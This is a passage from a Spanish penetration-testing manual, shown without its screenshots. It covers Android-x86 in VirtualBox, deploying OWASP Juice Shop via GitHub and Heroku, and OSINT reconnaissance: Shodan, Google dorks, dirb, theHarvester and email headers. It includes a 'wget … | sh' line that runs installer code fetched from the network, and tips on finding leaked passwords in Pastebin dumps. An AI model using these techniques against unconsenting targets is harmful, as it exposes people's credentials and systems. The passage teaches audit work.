Ponemos las opciones como se indica a continuación y pulsamos el botón Next:

Seleccionamos la memoria y hacemos click en Next:

167
Máquinas virtuales con virtualbox

A continuación pulsamos el botón Create para crear un disco duro:

Hacemos click en Next dejando las opciones por defecto:

168
Máquinas virtuales con virtualbox

Volvemos a pulsar el botón Next:

y finalmente el botón Create:

169
Máquinas virtuales con virtualbox

para crear la máquina virtual. Con la máquina virtual seleccionada, hacemos click en el
botón settings:

170
Máquinas virtuales con virtualbox

Ponemos la máquina en la red NAT que queramos:

A continuación pulsamos sobre las Storage en el menú de la izquierda. Hacemos click en el


icono del CD:

171
Máquinas virtuales con virtualbox

para poder seleccionar imagen de android-x86 que nos hemos descargado. Una vez
seleccionada, hacemos click en el botón OK:

Ya que tenemos la máquina lista, hacemos click en el botón Start para iniciarla:

172
Máquinas virtuales con virtualbox

De las opciones que se nos presentan al iniciar la máquina virtual, seleccionamos


Installation:

173
Máquinas virtuales con virtualbox

Con la opción Create/Modify partitions pulsamos OK:

174
Máquinas virtuales con virtualbox

Le decimos que no queremos usar GPT:

Con las teclas de dirección del teclado, seleccionamos New para crear una partición:

175
Máquinas virtuales con virtualbox

después seleccionamos Primary:

y pulsamos intro para aceptar el espacio asignado a la partición:

176
Máquinas virtuales con virtualbox

Seleccionamos Bootable:

177
Máquinas virtuales con virtualbox

Veremos que se activa la Flag Boot. Con la flag boot activada, seleccionamos write para
escribir los cambios al disco:

Escribimos yes para confirmar los cambios y pulsamos intro:

178
Máquinas virtuales con virtualbox

Una vez se hayan escrito los cambios, salimos seleccionando Quit:

Con la partición que hemos creado seleccionada, pulsamos el botón OK:

179
Máquinas virtuales con virtualbox

Seleccionamos el formato de archivos ext4 para formatear la partición y pulsamos OK:

Confirmamos que queremos formatear la partición:

180
Máquinas virtuales con virtualbox

Una vez termine el formateo de la partición, nos preguntará si queremos instalar el cargador
de arranque GRUB. Le decimos que sí:

Finalmente, seleccionamos Yes para dar read-write al directorio:

181
Máquinas virtuales con virtualbox

y comenzar la instalación:

182
Máquinas virtuales con virtualbox

Y una vez instalado, con la opción Run Android-x86 seleccionado, podremos pulsar sobre
OK:

para iniciar la máquina android que hemos creado. En este caso dejo Estados Unidos y
pulso sobre el botón Let's Go:

183
Máquinas virtuales con virtualbox

Seleccionamos configurarlo como un nuevo dispositivo:

184
Máquinas virtuales con virtualbox

A continuación, intentará descargar las últimas actualizaciones:

Después pulsamos sobre Skip para saltarnos el paso de configurar el sistema android con
una cuenta de Google:

185
Máquinas virtuales con virtualbox

Confirmamos que queremos saltarnos este paso pulsando nuevamente en Skip:

186
Máquinas virtuales con virtualbox

Configuramos el día y la hora:

187
Máquinas virtuales con virtualbox

tecleamos un nombre de usuario y pulsamos el botón Next:

188
Máquinas virtuales con virtualbox

A continuación seleccionamos las opciones que queramos y pulsamos el botón AGREE:

189
Máquinas virtuales con virtualbox

Finalmente, hacemos click sobre el botón ALL SET:

190
Máquinas virtuales con virtualbox

Nos pedirá seleccionar un launcher:

191
Máquinas virtuales con virtualbox

y ya tenemos nuestro dispositivo android configurado:

192
Máquinas virtuales con virtualbox

193
Despliegue de aplicaciones con github y heroku

Despliegue de aplicaciones con github y


heroku
Cuando varias personas trabajan en crear o mantener productos de software, a veces
necesitan actualizar los mismos ficheros de código. Lo que antiguamente se hacía erá
poner un repositorio (lugar para almacenar los archivos de código) utilizando un servidor
FTP o un programa como Subversion que nos permite llevar el control de cambios que
hacen los programadores en los archivos. El problema es, que tanto en el caso del FTP
como en el caso de Subversion, todos los cambios se realizan en este repositorio central, lo
que podría dar lugar a que se perdiesen los datos en caso de que ocurriese algún accidente
imprevisto. Para evitar este problema, Linus Tolvards creo el programa git que, al igual que
Subversion lleva el control de los cambios realizados en los archivos de código, pero
además permite que cada usuario tenga una copia en local de todos los archivos.
Eliminando de esta forma el punto único de fallo (Single Point of Failure) que tenían los
sistemas anteriores. Git es un un programa que nos ayuda, no sólo a llevar un control de los
cambios o nuevas versiones de un producto de software, sino que además permite que
cada usuario tenga una copia del código fuente. El programa git viene instalado por defecto
en Kali Linux. Git nos permite trabajar en local o con un repositorio remoto. La mayoría de
repositorios remotos, están alojados en:

Github
Bitbucket

Para el propósito de este tutorial vamos a crear una cuenta en github. Para ello, nos
registramos en github:

194
Despliegue de aplicaciones con github y heroku

Seleccionamos el plan gratuito (Unlimited public repositories for free) y pulsamos el botón
continue:

195
Despliegue de aplicaciones con github y heroku

completamos la encuesta y pulsamos el botón Submit:

Para comprobar que funciona, vamos a crear un proyecto pulsando el botón Start a project:

primero nos dirá que veriquemos la cuenta de email:

196
Despliegue de aplicaciones con github y heroku

Verificamos la cuenta pulsando en el enlace del correo que nos ha llegado:

Ahora si podemos crear el proyecto. Seleccionamos las opciones como el nombre de


proyecto o tipo de licencia y después pulsamos el botón Create Repository:

197
Despliegue de aplicaciones con github y heroku

el repositorio estará creado:

198
Despliegue de aplicaciones con github y heroku

una vez lo tenemos creado, vamos a hacer cambios en el repositorio usando git desde Kali
Linux. Para ello, copiamos la URL para clonarlo:

clonamos el repositorio con el comando git clone:

y veremos que el repositorio se ha clonado:

Para hacer cambios en el repositorio, primero debemos configurar git. Para ello, le
indicamos la cuenta de correo con la que nos hemos registrado usando el comando git
config:

199
Despliegue de aplicaciones con github y heroku

y el nombre de usuario:

una vez configurado, accedemos a la carpeta del repositorio:

creamos un fichero de prueba:

y veremos que si ejecutamos el comando git status, se da cuenta que hemos creado este
fichero en la carpeta del repositorio:

para añadirlo al proyecto, utilizamos el comando git add:

ahora si ejecutamos git status de nuevo, veremos que a los cambios que comencemos a
hacer en este fichero, git les hará un seguimiento:

Una vez realicemos los cambios, para añadir el fichero con los cambios al repositorio,
ejecutaremos el commando git commit:

200
Despliegue de aplicaciones con github y heroku

Para subir los cambios realizados al repositorio en github usaremos el comando git push.
Tendremos que indicarle el nombre de usuario:

y la contraseña:

Veremos que el fichero se ha subido correctamente:

Para ampliar conocimientos en cómo usar git, podemos comenzar por este tutorial
interactivo gratuito que nos ofrecen desde code school:

201
Despliegue de aplicaciones con github y heroku

Una vez que vemos visto rápidamente cómo funciona git y github, vamos a ver como
integrar heroku. Heroku nos va a permitir desplegar aplicaciones en la nube (el ordenador
de otra persona) directamente desde github de forma gratuita. Funciona con los lenguajes y
frameworks de desarrollo más populares como: php, ruby on rails, django, scala, go, nodejs,
etc. Para usarlo, accedemos a la web y pulsamos el botón Sign Up for free:

202
Despliegue de aplicaciones con github y heroku

Completamos el formulario y pulsamos el botón CREATE FREE ACCOUNT:

Como ocurría en github, nos solicitará que confirmemos la cuenta de email:

203
Despliegue de aplicaciones con github y heroku

La confirmamos pulsando en el enlace que nos ha llegado al correo:

Una vez confirmado el email, nos pedirá que pongamos una contraseña. Después pulsamos
el botón:

204
Despliegue de aplicaciones con github y heroku

y ya tenemos nuestra cuenta de heroku creada. El último paso es pulsar el boton CLICK
HERE TO PROCEED:

205
Despliegue de aplicaciones con github y heroku

y ya podremos ver la página principal de heroku:

Vamos a desplegar nuestra primera aplicación en heroku. Por ejemplo, vamos a desplegar
juice shop de OWASP. Para ello, accedemos al repositorio de Juice Shop en Github y
pulsamos el botón fork:

para copiar el repositorio a nuestra cuenta:

206
Despliegue de aplicaciones con github y heroku

ahora el repositorio estará en nuestra cuenta de Github:

hago, lo mismo de antes, lo clono desde kali. Para ello, copio la URL de clonado:

207
Despliegue de aplicaciones con github y heroku

y lo clono con git clone:

Para usar heroku desde la línea de comandos debemos instalarlo. Las instrucciones de
instalación están aquí pero básicamente es ejecutar el comando:

wget -qO- [Link] | sh

Una vez instalado, ejecutamos el comando heroku login:

208
Despliegue de aplicaciones con github y heroku

para configurar nuestras credenciales de heroku:

accedemos al repositorio clonado:

y ejecutamos el comando heroku create para crear una aplicación en heroku:

Podemos usar el comando git remote para verificar que se ha añadido el repositorio remoto
de heroku:

Esto quiere decir que ahora podemos subir la aplicación al repositorio de heroku usando el
comando:

git push heroku master

209
Despliegue de aplicaciones con github y heroku

Una vez termine, nos indicará si el despliegue de la aplicación ha sido correcto y la url. En
este caso ha sido correcto:

Para abrir la aplicación, o bien copiamos la URL de la aplicación y la pegamos en el


navegador o bien ejecutamos el comando heroku open:

y veremos que la aplicación se ha desplegado correctamente:

210
Despliegue de aplicaciones con github y heroku

211
Recopilación de información

Recopilación de información
Trataremos encontrar, recopilar y procesar la mayor cantidad de información sobre el
objetivo para ayudarnos a poder indentificar vectores de ataque que, potencialmente,
puedan comprometer la confidencialidad, integridad o disponibilidad de los activos del
cliente. Casi todos los métodos que se mostrarán a continuación son pasivos porque no se
interactua directamente con el objetivo.

Metodología
Recopilaremos información de varias fuentes usando el siguiente método:

1. Guardando la información con CherryTree

2. Consultando información en buscadores de internet


Buscadores habituales
Certificate Transparency
Netcraft
IPv4info
Censys
Shodan
Internet Archive
Have I Been Pwned
Pastebin

3. Realizando busquedas específicas


Operadores de Google para filtrar busquedas
Google Hacking Database (GHDB)
Operadores de Shodan para filtrar busquedas

4. Páginas web
Cabeceras HTTP y código fuente
Web crawlers (Web Spiders)
Ataques de diccionario para descubrir directorios y ficheros
Web scrapers
Descargar web para navegación offline
Metadatos en archivos

5. Buscando información en redes sociales

212
Recopilación de información

Procesando la información contenida en redes sociales


Usando buscadores específicos para redes sociales

6. Email
Recopilando emails de un dominio usando The Harvester
Buscando información en las cabeceras de un email

7. Bases de datos WHOIS


Bases de datos WHOIS
Consultas a bases de datos WHOIS desde la línea de comandos
Consultas a bases de datos WHOIS en España
Consultas a bases de datos WHOIS usando páginas web

8. DNS
Breve introducción de manera muy informal a DNS
Consultas a servidores DNS usando nslookup
Consultas a servidores DNS usando dig
Consultas a servidores DNS usando páginas web

9. Usando el RIR para encontrar bloques de red

Referencias usadas
1. Libros
Google Hacking for Penetration Testers
Complete Guide to Shodan

1. Guardando la información con cherrytree


Antes de comenzar el proceso de recopilación de información, es recomendable tener algún
programa donde almacenar la información que vayamos recopilando. Aunque existen
muchas opciones, por facilidad de uso, usamos cherrytree. Podemos descargarlo de su
web:

213
Recopilación de información

Tras instalarlo, lo ejecutamos y tendremos una interfaz muy parecida a esta:

Pulsamos en el botón de arriba a la izquierda para añadir un nuevo nodo. En la venta de


opciones, le ponemos el nombre del activo o compañia que estemos auditando y pulsamos
el botón OK:

214
Recopilación de información

Vemos como se ha añadido el nodo en el panel de la izquierda:

En el recuadro azul podemos indicar el alcance de la auditoria y otros detalles que


consideremos importantes. Una vez determinado el alcance, pulsamos sobre el botón de
añadir subnodos para recopilar los datos de la primera parte de la auditoria:

En este caso lo llamamos recopilación de información:

215
Recopilación de información

En este caso, también podemos usar el recuadro azul para definir el alcance:

y podemos seguir añadiendo tantos subnodos como necesitemos. Por ejemplo, añadamos
el de buscadores de internet. Para ello pulsamos nuevamente el botón añadir subnodo y le
damos nombre:

216
Recopilación de información

En el recuadro azul podemos ir pegando las evidencias que recopilemos de las busquedas
en distintos navegadores:

en resumen, podremos crear todos los nodos y subnodos queramos para la auditoria que
tengamos que realizar:

217
Recopilación de información

la finalidad es ir documentando a medida que vamos obteniendo evidencias.

2. Consultando en buscadores de internet


Aparte de los buscadores que habitualmente utilizamos para realizar busquedas en internet:

Qwant
DuckDuckGo
Google
Bing

Existen otros sites más específicos que pueden aportarnos algo más de información:

218
Recopilación de información

Certificate Transparency
El proyecto, Certificate Transparency de Google, se ha creado para auditar y verificar
certificados TLS/SSL en tiempo real con el fin de prevenir usos fraudulentos o maliciosos de
los certificados. Aunque esto se ha creado para favorecer la seguridad, también favorece la
recopilación pasiva de información sobre un objetivo porque obliga a todas las autoridades
certificadores (CA) que participen, a publicar todos los certificados que hayan expedidos.
Esta información, entre otros, podría revelar hostnames y subdominios del objetivo. Para
realizar una busqueda accedemos al buscador de cerfificados:

En los resultados podemos ver:

Los certificados expedidos para el dominio


La fecha de validez de los certificados
Incluso el número de subdominios (DNS Names) asociados al certificado

219
Recopilación de información

Si pulsamos sobre See Details en cualquiera de ellos podremos ver los subdominios:

Netcraft
Netcraft puede ayudarnos a encontrar información específica sobre un objetivo. Por
ejemplo, si quisieramos recopilar información sobre el dominio [Link]:

220
Recopilación de información

Dependiendo del dominio que busquemos, entre otros, podremos encontrar:

Información sobre el dueño del dominio


La IP asociada al dominio
La localización física de la IP del dominio
Sistemas operativos que usan

IPv4info

221
Recopilación de información

IPv4info nos puede ayudar a conocer mucha información sobre la infraestructura de red de
un objetivo:

Veamos un ejemplo:

Dependiendo del dominio que busquemos, entre otros, podremos encontrar:

Los subdominos asociados a ese dominio


Información sobre el dueño del dominio
La IP asociada al dominio

222
Recopilación de información

La localización física de la IP del dominio


Bloque de red

Censys
Censys es un buscador de dispositivos conectados a internet como frigoríficos, aparatos de
domótica, cámaras de vigilancia, ordenadores, servidores, routers, switches, etc. Lo que
hoy en día se denomina internet de las cosas (IoT). Nos va a facilitar información sobre el
activo que busquemos:

Entre otros nos muestra:

Los puertos y servicios a la escucha


La localización física del activo
Información sobre los certificados

223
Recopilación de información

Shodan
Shodan es un buscador de dispositivos conectados a internet como frigoríficos, aparatos de
domótica, cámaras de vigilancia, ordenadores, servidores, routers, switches, etc. Lo que
hoy en día se denomina internet de las cosas (IoT). Nos va a facilitar información sobre el
activo que busquemos:

224
Recopilación de información

Nuevamente vemos:

Los puertos y servicios a la escucha


La localización física del activo
Información sobre los certificado

225
Recopilación de información

Internet Archive
Internet Archive es una biblioteca que guarda versiones antiguas de páginas web y recursos
como videos, audios, libros, etc. Debido a que podremos acceder a versiones archivadas de
la misma página web o recurso, nos puede ser muy útil para:

Acceder a información que el objetivo haya borrado o modificado.


Acceder a documentación que se haya borrado o modificado.
Ver contenidos que ya no están disponibles

Para usarlo buscamos el recurso:

226
Recopilación de información

Elegimos la fecha para ver la versión que se archivo del mismo:

Have I been pwnd?


Have I been pwnd? nos facilita información sobre cuentas que han sido comprometidas.
Sólo tenemos que indicar la cuenta que queramos buscar:

227
Recopilación de información

para acceder a la información:

A veces podremos encontrar enlaces que nos faciliten conseguir la password de la cuenta
comprometida y si no, sabiendo que ha sido comprometida, podemos buscar la contraseña
en pastebin.

Pastebin

228
Recopilación de información

Permite copiar y pegar información de forma completamente anónima. Lo cual es muy


atractivo para publicar, entre otros, la información confidencial que se extrae de las brechas
de seguridad:

Por ejemplo, si buscamos la palabra breach, nos aparecen resultados de bases de datos
que han sido comprometidas:

Y accediendo a ellos podemos, por ejemplo, encontrar usuarios y contraseñas:

229
Recopilación de información

3. Realizando busquedas específicas

Operadores de Google para filtrar busquedas


Las busquedas personalizadas en el buscador de Google son un mundo al que se han
dedicado libros como Google Hacking for Penetration Testers.

Google permite usar una serie de términos, que se denominan operadores, para filtrar las
consultas que realicemos al buscador. Podemos combinar varios operadores en la misma
busqueda. Además estos términos (operadores) pueden combinarse utilizando wildcards
(comodines) o operadores booleanos. Algunos terminos (operadores) conocidos son:

site:

Nos permite restringir los resultados de la busqueda a un dominio/subdominio concreto. Por


ejemplo, podemos buscar información sobre android en la web [Link]:

230
Recopilación de información

También nos permitiría buscar los subdominios de un dominio. Para ello, utilizamos el
operador booleano de negación (-) delante de site. Es decir que si:

site: filtra los resultados a un dominio/sudominio concreto

entonces con:

-site: obtendremos los resultados que no esten incluidos en ese dominio/subdominio

Utilizando el operador booleano de negación, podemos sacar todos los subdominios del
dominio [Link]:

231
Recopilación de información

El comodín (wildcard) asterisko (*) se puede utilizar para representar alguna palabra que no
conozcamos al hacer la busqueda. En pastebin se hacen dumps (volcados) de diversa
información como cuentas, bases de datos, etc. Estos volcados, habitualmente, incluyen
alguna palabra y después la palabra dump como account dump o nombreDeCompañia
dump. Podemos buscar los dumps usando el comodían asterisco:

232
Recopilación de información

Siguiendo con el ejemplo de los dumps, podemos añadir un parámetro en el query string de
la URL llamado as_qdr para filtrar los resultados a sitios que hayan sido actualizados desde
hace x tiempo. Por ejemplo, podemos buscar los dumps (vocados) en pastebin publicados o
actualizados en el último mes pasando el valor m1:

233
Recopilación de información

Otros valores que podemos usar con as_qdr son:

d3 buscaría resultados actualizados en los últimos 3 días


w2 buscaría resultados actualizados en las últimas 2 semanas
m1 buscaría resultados actualizados en el último mes
y2 buscaría resultados actualizados en los 2 últimos años

filetype:

Nos permite buscar ficheros del tipo que le indiquemos. Por ejemplo, para buscar ficheros
de tipo pdf en [Link]:

234
Recopilación de información

intitle:

Retringe la busqueda a aquellas páginas que contengan en el título de la página las


palabras buscadas. Esto puede ser útil, por ejemplo, para encontrar servidores que tienen
habilitada la opción de listar directorios. En muchas ocasiones, cuando los servidores listan
archivos y carpetas en un servidor, el título contiene las palabras Index Of. Veamos un
ejemplo:

235
Recopilación de información

Dentro de estos listados de directorios, podemos buscar ficheros importantes como


.bash_history:

cache:

236
Recopilación de información

Google guarda snapshots (copias) de los sitios que indexa cada cierto tiempo. El operador
cache: nos permite acceder a estas versiones (copias) de la página web. Esto nos va a
permitir, entre otros, poder navegar por un sitio web de forma pasiva o anónima de cara al
dueño del sitio ya que no interactuamos directamente con su web. Esto además nos permite
crawlear o descargar una copia de un sitio web de forma pasiva. Para ver el sitio web en
cache de [Link] utilizamos el operador cache:

y accedemos a la web en cache:

237
Recopilación de información

Google Dorks / Google Hacking Database (GHDB)


Como hemos visto en el punto anterior, filtrar las busquedas en google puede ser muy útil a
la hora de recopilar información. Sin embargo hay muchos operadores y distintas formas de
combinarlos. GHDB es un proyecto que nos va a permitir realizar este tipo de busquedas
sin necesidad de conocer los operadores:

238
Recopilación de información

Como podemos ver en el desplegable, existen varias categorias por las que podemos
buscar:

239
Recopilación de información

Operadores de Shodan para filtrar busquedas


En shodan también podemos utilizar términos (operadores) para filtrar las busquedas.

org

El filtro org nos permite buscar dispositivos de una organización concreta. Por ejemplo, lo
utilizamos para buscar organizaciones que contengan la palabra Net:

country

Nos permite filtrar los resultados a un páis concreto como Canadá:

240
Recopilación de información

city

Nos permite filtrar los resultados a una ciudad concreta como Québec:

241
Recopilación de información

Al igual que ocurría en las consultas en el buscador de Google, podemos utilizar operadores
booleanos como el de negación. Por ejemplo, podemos filtrar los resultados a todas las
ciudades de Canadá menos Québec:

4. Páginas Web
La mayoría de los métodos de reconocimiento que veremos aquí son activos porque se
interactua directamente con el objetivo.

Cabeceras HTTP y código fuente


Las cabeceras de respuesta del protocolo HTTP pueden facilitarnos información como el
tipo de servidor que se esta utilizando o si estan implementadas cabeceras que mejoren la
seguridad. Para ver las cabeceras de una petición, entre otros, podemos usar las
herramientas de desarrollo de cualquier navegador web:

242
Recopilación de información

El código fuente de una página puede darnos muchísima información pero, de momento, se
sale del objeto del presente documento.

Web crawlers (Web Spiders)


Los web crawlers también conocidos como arañas web (web spiders) son programas que
siguen todos los enlaces que haya en un sitio web permitiendonos descubrir la estructura
del sitio objetivo. Por ejemplo, como las páginas web usan enlaces para enlazar contenidos
dentro del mismo sitio web o contenidos en otros sitios web, los buscadores de internet
usan arañas web para indexar todos los contenidos de las páginas web que luego nos
muestran en el buscador. Por ejemplo, la araña de Google se llama GoogleBot. Nosotros
también usaremos arañas para conocer la estructura de las páginas webs que tengamos
que auditar. Aunque lo mejor es lo artesano, vamos a ver como usar la araña de Burp Suite.
Para ello tenemos que configurar el navegador que usemos para utilzar Burp Suite como
proxy. Como Burp y Firefox vienen por defecto en Kali, veamos como realizar la
configuración con ambos:

En la sección Advanced de las menu de preferencias (opciones) del navegador, bajo la


pestaña Network, hacemos click en el botón Settings..:

243
Recopilación de información

Burp Suite usa por defecto el puerto 8080, lo configuramos para que use ese puerto y
pulsamos el botón OK:

Una vez configurado burp, nos aparecerá la siguiente pantalla:

244
Recopilación de información

Si está activado el proxy lo desactivamos. Para que este desactivado tiene que poner
Intercept is off en el botón:

Como muchas páginas estan encriptadas usando TLS/SSL, necesitamos un certificado para
que burp pueda conectarse a ellas. Burp Suite nos facilita un certificado de forma gratuita,
para descargarlo debemos ir a [Link] en el navegador donde tengamos configurado el
proxy. Una vez ahí, hacemos click sobre CA Certificate y lo descargamos:

y lo descargamos:

Una vez tengamos el certificado, lo tenemos que importar en Firefox. Para ello en la sección
Advanced de las menu de preferencias (opciones) del navegador, bajo la pestaña
Certificates, hacemos click en el botón View Certificates:

245
Recopilación de información

Hacemos click en Import:

Seleccionamos el certificado que acabamos de descargar y pulsamos el botón Open:

Marcamos todas las casillas y pulsamos OK para instalar el certificado:

246
Recopilación de información

Una vez tenemos Burp Suite y Firefox configurados, podemos usar la araña de Burp. Para
ello, navegamos al sitio web:

Tras acceder al sitio web, nos aparecerá en Burp bajo la pestaña Target. Pinchamos con el
botón derecho del ratón en el sitio web y hacemos click en la opción Add to Scope:

Una vez añadido vamos a la pestaña Spider y vemos las opciones:

247
Recopilación de información

Aunque no entraremos en ver todas las opciones por se sale del objetivo del presente
documento, si decir que Burp tiene dos modos de crawling:

Pasivo (Passive Spidering) - registra los enlaces a los que vamos accediendo desde el
navegador
Activo - Sigue los enlaces de forma autónoma

Por defecto, Burp va a registrar todos los enlaces sobre los que nosotros como usuarios
vayamos navegando en la página web (a este modo le llama pasivo). También seguirá
todos los enlaces de forma autónoma como cualquier otra araña. Para activarla, vamos a la
pestaña Control y pulsamos sobre Spider is paused:

y comenzará a funcionar:

248
Recopilación de información

Podremos ver los resultados en la pestaña Site map debajo de la pestaña Target:

Ataques de diccionario para descubrir directorios y


ficheros
Algunos ficheros o directorios de las páginas web no tienen ningún enlace que nos lleve a
ellos como es el caso de ciertos ficheros de configuración. Para poder encontrarlos
podemos usar programas como dirb o wfuzz que vienen incluidos en la distribución Kali
Linux. Estos programas prueba una lista con nombres de ficheros y directorios contrar el
dominio que le indiquemos. Estas listas se denominan diccionarios. En Kali Linux, por
defecto, los diccionarios se guardan:

Para ver que aspecto tienen, podemos observar las primeras 10 entradas de uno de ellos:

249
Recopilación de información

Los diccionarios no sólo se usan para descubrir directorios, sino que se pueden usar para
diferentes tipos de ataques. Aparte de los que vienen incluidos en Kali, podemos encontrar
otros en internet como los que proporciona SecList:

En este caso, intentaremos descubrir ficheros y directorios usando el programa dirb. El


método de uso es el siguiente:

dirb {[Link] {diccionarioAUtilizar} {opciones}

En este caso usamos las siguientes opciones:

250
Recopilación de información

-z para esperar un tiempo entre petición y petición HTTP. En este caso 2 segundos.
-H para utilizar las siguientes cabeceras del protocolo HTTP en nuestra petición:
User-Agent Esta cabecera indica al servidor web quién esta haciendo la petición.
En este caso, hemos copiado la misma cabecera que hay google chrome decirle al
servidor web que es el navegador chrome quién hace la petición
Referer esta cabecera indica la página web anterior desde la que hemos llegado a
la actual. Es bueno poner como valor de esta cabecera el de la web objetivo.

Web scrapers
Al igual que los web crawlers, los web scrapers pueden de seguir los enlaces pero además
son capaces de extraer y analizar la información que hay en las páginas web. Por ejemplo,
entre otros, pueden:

Descargar todos los videos, imágenes, audios, ejecutables, etc


Pueden descargarse el texto y procesarlo
Pueden tomar decisiones de acuerdo a la información que procesan

Aunque programar web scrapers se sale del objetivo de este resumen. Os dejo en enlace a
2 frameworks muy utilizados:

Scrapy
Apache Nutch

y un par de enlaces a 3 librerias de python para los que quieran algo más artesano:

Requests
BeautifulSoup
Selenium

251
Recopilación de información

también para cosas sencillas, podemos usar el comando curl para descargar el contenido
de una página -nuevamente le paso como opciones las cabeceras del protocolo HTTP
User-Agent y Referer:

y pasar el contenido al comando grep utilizando pipes para filtrar el texto. En este caso
buscamos las líneas que contengan la palabra example:

curl y grep tienen muchas opciones que se les pueden pasar que son interesantes.

Descargar web para navegación offline


También existen scrapers que siguen todos los links y nos descargan cada uno de ellos. Por
lo que nos descargaría una web entera. Como ejemplo, veamos el scraper HTTrack que
viene incluido en Kali Linux y que nos permite descargar una página para navegar offline
por ella. El modo de uso es:

httrack {[Link]

En este caso usamos las siguientes opciones:

-O para indicar donde queremos que nos guarde la web.


--user-agent para decirle al servidor web que es el navegador chrome quién hace la
petición
--referer-- para indicar la página web anterior desde la que hemos llegado a la actual

252
Recopilación de información

Una vez descargada, podremos navegar offline:

Metadatos en archivos
Los metadatos son información que se utiliza para describir otra información o datos. Por
ejemplo, en una fotografía, los metadatos, entre otros, podrían ser:

Cuando ha sido creada la foto


Cuándo ha sido modificada la foto por última vez
Programa que se ha utilizado para retocar la fotografía
Modelo de cámara con el que se ha tomado la foto

Existen programas como Exiftool que nos permiten ver los metadatos de un archivo. Para
instalarlo en Kali ejecutamos el siguiente commando:

253
Recopilación de información

Como ejemplo, podemos descargar una foto de dominio público utilizando el comando wget:

y ver los metadatos de la foto usando exiftool. En este caso, entre otros metadatos,
podemos ver el modelo de la cámara con que se tomó la foto y el programa que se uso:

254
Recopilación de información

5. Buscando información en redes sociales

Procesando la información contenida en redes sociales


El procesamiento de la información que se publica en redes sociales para el uso particular
que se le quiera dar, se sale del rango de este resumen. No obstante, muchos análisis se
hacen utilizando las APIs para desarrolladores de las distintas redes sociales. Por lo que os
dejo el enlace a sus sitios web para desarrolladores y alguna referencia a la información
que podemos encontrar en cada red social:

Twitter
Simpatía hacía movimientos sociales
Identidad política
Identidad religiosa
Idolatrías
Intereses

Facebook
Simpatía hacía movimientos sociales
Identidad política
Identidad religiosa

255
Recopilación de información

Idolatrías
Intereses
Amistades
Rasgos de personalidad
Datos personales
Relaciones sentimentales
Gustos
Fotografías
Influencia

Google+
Simpatía hacía movimientos sociales
Identidad política
Identidad religiosa
Idolatrías
Intereses
Amistades
Rasgos de personalidad

LinkedIn
Técnologías con las que trabaja una empresa a través de las ofertas de trabajo
que publican
Perfiles profesionales que necesita cubrir una empresa
Cargos importantes de una empresa
Perfil profesional
Perfil académico
Situación laboral

Instagram
Fotografías
Datos personales
Amistades
Influencia

Las fotos e imágenes publicadas en redes sociales pueden contener metadatos


interesantes

Usando buscadores específicos para redes sociales


También existen buscadores en internet que nos pueden ayudar a recopilar información
sobre una persona objetivo. Por ejemplo veamos el buscador WebMii:

256
Recopilación de información

Cuanta más actividad tenga la persona en internet más fácil será obtener resultados. Por
ejemplo, si buscamos a un personaje con mucha actividad:

Podremos encontrar mucha información como fotos:

257
Recopilación de información

una pequeña biografía, sus perfiles en redes sociales:

258
Recopilación de información

personas que están relacionadas con el personaje, videos en los que ha sido grabado:

noticias o incluso menciones en sitios web:

259
Recopilación de información

6. Email

Recopilando emails de un dominio usando The Harvester


The Harvester es una herramienta de código abierto desarrollada en python, incluida en Kali
Linux, que nos va a ayudar a conseguir información útil, como nombres de usuario o emails,
utilizando mayoritariamente fuentes públicas de información tales como el buscador de
Google o la red social LinkedIn. Las opciones más comunes que le podemos pasar a la
herramienta son:

-d {nombreDeDominioABuscar}
-b {fuentesDeInformaciónDeDondeExtraerLosDatos}
-l {limitarLosResultadosDeLaBusqueda}
-f {guardarLosResultadosEnXMLoHTML}

Veamos algunos ejemplos:

Podemos buscar cuentas de email del dominio, [Link], usando como fuente de
busqueda el buscador de Google:

260
Recopilación de información

Si quisieramos guardar estos resultados en un archivo html para consultarlo más adelante,
podemos usar la opción -f al lanzar el comando:

261
Recopilación de información

y después ver los resultados en el archivo html. En este caso, por ejemplo, encontramos 27
emails usando el buscador de Google:

Si quisieramos extraer información sobre el dominio de todas las fuentes de las que dispone
la herramienta, podemos usar la palabra clave all con la opción -b:

262
Recopilación de información

En este caso vemos que el número de emails encontrados aumenta hasta 1070:

263
Recopilación de información

Buscando información en las cabeceras de un email


Aparte del contenido que habilitualmente se nos muestra cuando recibimos un email como:

Remitente (From)
Destinatario (To)
Personas en copia (CC)
Asunto del email (Subject)
Texto del email (Body)
Archivos adjuntos (Attachements)

En cada email que enviamos o recibimos hay una cabecera con información el servidor
emisor del correo, fecha de creación del correo, ordenadores por los que pasa, etc. Si bien
estas cabeceras son manipulables, ver la información siempre arroja algo de luz. Veamos
un ejemplo con gmail. En este caso he creado una cuenta para realizar la prueba:

Me subscribo a una newsletter (Hunchly Daily Hidden Services Report) para estar informado
de los nuevos servicios que se descubren en la red Tor:

264
Recopilación de información

Tras subscribirme, recibo el email de bienvenida:

Lo abro y para ver las cabeceras, pulso sobre la triángulo a la derecha del botón responder
para desplegar el menú. en el menú selecciono Mostrar original:

265
Recopilación de información

Y podremos ver el contenido completo del email incluyendo las cabeceras:

266
Recopilación de información

Las cabeceras siempre es la información que esta al comienzo del mensaje. Para
ayudarnos a entenderlas un poco mejor, podemos copiar la cabecera del email:

Fijaros que sólo copio la cabecera, no el contenido del email. Una vez copiada la cabecera,
podemos utilizar la herramienta MessageHeader de Google para entender mejor el
contenido:

Pegamos la cabecerá en el cuadro de texto y pulsamos el botón ANALIZAR LA CABECERA


ANTERIOR:

267
Recopilación de información

Y en el resultado, aunque no está la información contenida en la cabecerá del email ya que


eso no esta dentro del propósito de este resumen, podremos ver información básica como
el número de ordenadores por donde ha pasado o desde dónde se envío el email:

268
Recopilación de información

Buscando información sobre el emisor del email

En las cabeceras del email, si nadie las ha manipulado, podemos ver la IP desde dónde nos
han enviado ese email:

Con la IP podemos ir a shodan para que nos facilite información sobre la misma:

269
Recopilación de información

Vemos que, como esperabamos, al ser un servidor de email tiene habilitado el protocolo
SMTP que se utiliza para enviar correos. Aquí tendríamos que anotar que el SMTP esta
habilitado en el puerto 25 que por definición no esta encriptado. Esta información podría
sernos útil a la hora de enumerar usuarios en la fase de enumeración. Otra punto que
vemos es que tiene el protocolo HTTP habilitado en el puerto 80. Es decir tiene un servicio
web habilitado y probablemente una página web. Accedemos a ella pulsando en el botón
con una flecha que esta debajo del número 80:

270
Recopilación de información

Y llegamos a la web de MailChimp que es un servicio que puede usarse para hacer
campañas de marketing por email o newsletters:

7. WHOIS
Trataremos de encontrar información sobre la persona o entidad a la que esta registrada un
nombre de dominio o recurso de internet.

Bases de datos WHOIS


Existen unas bases de datos, llamadas WHOIS, que contienen información pública sobre el
